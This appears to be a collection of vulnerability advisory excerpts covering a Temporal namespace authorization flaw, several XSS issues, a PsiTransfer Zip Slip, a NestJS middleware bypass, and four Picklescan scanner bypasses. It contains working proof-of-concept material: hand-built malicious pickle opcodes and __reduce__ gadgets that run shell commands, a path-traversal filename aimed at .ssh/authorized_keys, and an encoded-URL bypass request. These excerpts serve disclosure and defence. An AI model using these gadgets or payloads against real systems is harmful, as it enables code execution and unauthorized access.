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When system.enableCrossNamespaceCommands is enabled (on by default), the Temporal server permits certain workflow task commands (e.g. StartChildWorkflowExecution, SignalExternalWorkflowExecution, RequestCancelExternalWorkflowExecution) to target a different namespace than the namespace authorized at the gRPC boundary. The frontend authorizes RespondWorkflowTaskCompleted based on the outer request namespace, but the history service later resolves and executes the command using the namespace embedded in command attributes without authorizing the caller for that target namespace. This can allow a worker authorized for one namespace to create, signal, or cancel workflows in another namespace. This issue affects Temporal: through 1.29.1. Fixed in 1.27.4, 1.28.2, 1.29.2.

A stored cross-site scripting (XSS) vulnerability exists in the product file upload functionality. Authenticated users can upload crafted XML files containing executable JavaScript. These files are later rendered by the application without sufficient sanitization or content-type enforcement, allowing arbitrary JavaScript execution when the file is accessed. Because product files uploaded by regular users are visible to administrative users, this vulnerability can be leveraged to execute malicious JavaScript in an administrator’s browser session.

### Summary A Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. `../../../.ssh/authorized_keys`). When a victim downloads the bucket as a **.tar.gz** archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE. ### Details The vulnerability exists in the archive download functionality in **lib/endpoints.js** where user controlled metadata.name is used directly without sanitization when creating TAR archive entries. ``` lib/endpoints.js:275 const entry = pack.entry({ name: info.metadata.name, size: info.size }); ``` ``` lib/endpoints.js:372 assert(meta.name, 'tus meta prop missing: name'); ``` ### PoC I. Upload file with malicious filename (no authentication required). ``` MALICIOUS_NAME=$(echo -n "../../../tmp/dp.txt" | base64) SID=$(echo -n "evil" | base64) RETENTION=$(echo -n "3600" | base64) curl -X POST http://TARGET:3000/files \ ...

A NestJS application is vulnerable if it meets all of the following criteria: 1. Platform: Uses `@nestjs/platform-fastify`. 2. Security Mechanism: Relies on `NestMiddleware` (via `MiddlewareConsumer`) for security checks (authentication, authorization, etc.), or through `app.use()` 3. Routing: Applies middleware to specific routes using string paths or controllers (e.g., `.forRoutes('admin')`). Example Vulnerable Config: ```ts // app.module.ts export class AppModule implements NestModule { configure(consumer: MiddlewareConsumer) { consumer .apply(AuthMiddleware) // Security check .forRoutes('admin'); // Vulnerable: Path-based restriction } } ``` Attack Vector: - Target Route: `/admin` - Middleware Path: `admin` - Attack Request: `GET /%61dmin` - Result: Middleware is skipped (no match on `%61dmin`), but controller for `/admin` is executed. Consequences: - Authentication Bypass: Unauthenticated users can access protected routes. - Authorization Bypass: Restri...

### Summary Picklescan uses _operator.attrgetter, which is a built-in python library function to execute remote pickle files. ### Details The attack payload executes in the following steps: - First, the attacker crafts the payload by calling the _operator.attrgetter function in the reduce method. - Then, when the victim, after checking whether the pickle file is safe by using the Picklescan library and finding that this library doesn't detect any dangerous functions, decides to call pickle.load() on this malicious pickle file, it leads to remote code execution. ### PoC ``` import pickle import pickletools opcode3 = b'''cbuiltins __import__ (Vos tRp0 0c_operator attrgetter (Vsystem tR(g0 tR(Vecho "pwned by _operator.attrgetter" tR.''' pickletools.dis(opcode3) pickle.loads(opcode3) ``` This PoC can't be easily create by pickle.dumps, so it was manually built. ### Impact Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attac...

HoneyMyte (Mustang Panda) is back with a new ToneShell backdoor. Read how this stealthy attack blinds Microsoft Defender to target government entities in Asia.

### Summary Picklescan uses _operator.methodcaller, which is a built-in python library function to execute remote pickle files. ### Details The attack payload executes in the following steps: - First, the attacker crafts the payload by calling to _operator.methodcaller function in reduce method - Then when after the victim after checks whether or not the pickle file is safe by using Picklescan library and the library doesn't dectect any dangerous functions, pickle.load() loads this malicious pickle file, thus lead to remote code execution. ### PoC ``` import pickle import pickletools opcode2 = b'''cbuiltins __import__ (Vos tRp0 0c_operator methodcaller (Vsystem Vecho "pwned by _operator.methodcaller" tR(g0 tR.''' pickletools.dis(opcode2) pickle.loads(opcode2) ``` This PoC can't be easily create by pickle.dumps, so it was manually built. ### Impact Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed mali...

### Summary Picklescan uses the `numpy.f2py.crackfortran._eval_length` function (a NumPy F2PY helper) to execute arbitrary Python code during unpickling. ### Details Picklescan fails to detect a malicious pickle that uses the gadget `numpy.f2py.crackfortran._eval_length` in `__reduce__`, allowing arbitrary command execution when the pickle is loaded. A crafted object returns this function plus attacker‑controlled arguments; the scan reports the file as safe, but pickle.load() triggers execution. ### PoC ```python class PoC: def __reduce__(self): from numpy.f2py.crackfortran import _eval_length return _eval_length, ("__import__('os').system('whoami')", None) ``` ### Impact - Arbitrary code execution on the victim machine once they load the “scanned as safe” pickle / model file. - Affects any workflow relying on Picklescan to vet untrusted pickle / PyTorch artifacts. - Enables supply‑chain poisoning of shared model files. ### Credits - [ac0d3r](https://github.c...

### Summary Picklescan uses the `numpy.f2py.crackfortran.getlincoef` function (a NumPy F2PY helper) to execute arbitrary Python code during unpickling. ### Details Picklescan fails to detect a malicious pickle that uses the gadget `numpy.f2py.crackfortran.getlincoef` in `__reduce__`, allowing arbitrary command execution when the pickle is loaded. A crafted object returns this function plus attacker‑controlled arguments; the scan reports the file as safe, but pickle.load() triggers execution. ### PoC ```python class PoC: def __reduce__(self): from numpy.f2py.crackfortran import getlincoef return getlincoef, ("__import__('os').system('whoami')", None) ``` ### Impact - Arbitrary code execution on the victim machine once they load the “scanned as safe” pickle / model file. - Affects any workflow relying on Picklescan to vet untrusted pickle / PyTorch artifacts. - Enables supply‑chain poisoning of shared model files. ### Credits - [ac0d3r](https://github.com/ac0d3...

> [!NOTE] > Message from the Pterodactyl team: > > The Pterodactyl team has evaluated this as a minor security issue but does not consider it something that should be assigned a CVE, nor does it require active patching by vulnerable systems. > > This issue is entirely self-inflicted and requires an administrative user paste an _obviously_ incorrect value into a database host field, submit it, and run into the XSS when the error message is rendered. However, we have determined that this fix is good security hygiene and may prevent issues in other areas not yet discovered. ### Summary When an administrative user creates a new database host they are prompted to provide a `Host` value which is expected to be a domain or IP address. When an invalid value is encountered and passed back to `gethostaddr` and/or directly to the MySQL connection tooling, an error is returned. This error is then passed back along to the front-end, but was not properly sanitized when rendered. Therefore it is po...